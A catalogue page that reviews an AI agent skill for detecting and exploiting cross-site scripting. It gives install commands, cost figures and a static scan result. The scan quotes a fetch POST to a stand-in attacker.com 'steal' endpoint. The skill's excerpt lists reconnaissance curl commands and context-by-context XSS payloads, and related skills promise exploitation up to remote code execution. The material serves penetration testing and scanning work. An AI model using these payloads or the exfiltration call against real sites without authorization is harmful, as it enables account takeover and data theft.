Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/xss-reflected-stored-domWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/xss-reflected-stored-dom)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/xss-reflected-stored-dom"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/xss-reflected-stored-dom/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/xss-reflected-stored-dom"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/xss-reflected-stored-dom.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00090 | $0.02883 |
| Opus 5 | $0.00045 | $0.01442 |
| Sonnet 5 | $0.00018 | $0.00577 |
| Haiku 4.5 | $0.00009 | $0.00288 |
Grade A, and why
xss-reflected-stored-dom scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
fetch('https://attacker.com/steal', { method: 'POST', Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s "https://target.com/search?q=${CANARY}" | grep -i "$CANARY" How it starts
The opening of the file, as written. The whole thing — 320 lines — stays where its author put it; the contents beside it link to each section on GitHub.
XSS Detection and Exploitation
When to Use
- When testing web applications for JavaScript injection in user inputs
- During bug bounty hunting when you see reflected parameters in page source
- When testing rich text editors, comment systems, or profile fields for stored XSS
- When JavaScript dynamically processes URL fragments or
document.location - When you need to chain XSS with other vulnerabilities for account takeover
- When testing Content Security Policy (CSP) for bypass opportunities
When NOT to use: If the application has no user-facing HTML output (pure API backend) — use API security skills instead.
Prerequisites
- Burp Suite with browser proxy configured
dalfoxorXSStrikefor automated XSS scanning- A blind XSS callback server (
bxss.me,xsshunter.com, or self-hosted) - Browser DevTools for DOM analysis
- Target must render user input somewhere in HTML/JS output
Workflow
Phase 1: Identify Injection Points
# Map all user-controllable inputs that reflect in the response
# Check: URL parameters, form fields, headers (Referer, User-Agent), cookies
# Quick reflection test — inject a unique string and search for it
CANARY="cybsk1337xss"
# Test URL parameters
curl -s "https://target.com/search?q=${CANARY}" | grep -i "$CANARY"
# Test with special characters to check encoding
curl -s "https://target.com/search?q=<script>alert(1)</script>" | grep -i "script"
# Automated reflection detection with gxss
echo "https://target.com/search?q=test" | gxss -p cybsk1337
# Use kxss to find reflections with special chars unencoded
echo "https://target.com" | hakrawler | kxss
Phase 2: Context Analysis — Where Does Input Land?
The bypass technique depends entirely on WHERE your input is reflected:
Context 1: Between HTML tags
<div>YOUR_INPUT_HERE</div>
→ Payload: <script>alert(1)</script>
→ Payload: <img src=x onerror=alert(1)>
Context 2: Inside an HTML attribute
<input value="YOUR_INPUT_HERE">
→ Payload: " onmouseover="alert(1)
→ Payload: "><script>alert(1)</script>
Context 3: Inside JavaScript
var x = "YOUR_INPUT_HERE";
→ Payload: ";alert(1)//
→ Payload: '-alert(1)-'
Context 4: Inside a URL/href
<a href="YOUR_INPUT_HERE">
→ Payload: javascript:alert(1)
→ Payload: data:text/html,<script>alert(1)</script>
Context 5: Inside CSS
style="color: YOUR_INPUT_HERE"
→ Payload: red;background:url(javascript:alert(1))
Context 6: Inside a comment
<!-- YOUR_INPUT_HERE -->
→ Payload: --><script>alert(1)</script><!--
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 320 lines · 90 tokens per session scan A 3503f59abe05
xss-reflected-stored-dom is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 90 tokens to every session and 2,883 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
dom-based-cross-site-scripting-xss
Identify and exploit DOM-based Cross-Site Scripting (XSS) vulnerabilities where malicious payloads are executed entirely within the victim's browser via insecure JavaScript execution, often bypassing server-side WAFs completely.
javascript-prototype-pollution
Identify and exploit Prototype Pollution vulnerabilities in JavaScript applications to achieve client-side Cross-Site Scripting (XSS), bypass authentication, or execute Remote Code Execution (RCE) on Node.js servers by manipulating the core Object prototype.
dom-based-xss
Exploit Document Object Model (DOM) Based Cross-Site Scripting (XSS) vulnerabilities. Unlike Reflected or Stored XSS, the attack payload is executed purely on the client-side as a result of modifying the DOM environment, often without the payload ever reaching the backend server.
testing-for-xss-vulnerabilities
Tests web applications for Cross-Site Scripting (XSS) vulnerabilities by injecting JavaScript payloads into reflected, stored, and DOM-based contexts to demonstrate client-side code execution, session hijacking, and user impersonation. The tester identifies all injection points and output contexts, crafts…
testing-for-xss-vulnerabilities
Tests web applications for Cross-Site Scripting (XSS) vulnerabilities by injecting JavaScript payloads into reflected, stored, and DOM-based contexts to demonstrate client-side code execution, session hijacking, and user impersonation. The tester identifies all injection points and output contexts, crafts…
hunt-dom
Hunt client-side DOM vulnerabilities — DOM Clobbering (overwrite JS globals via HTML injection), PostMessage hijacking (missing origin check), Service Worker abuse (intercept requests from same-origin script), CSS Injection/Exfiltration (attribute selectors → token char-by-char via OOB), client-side template…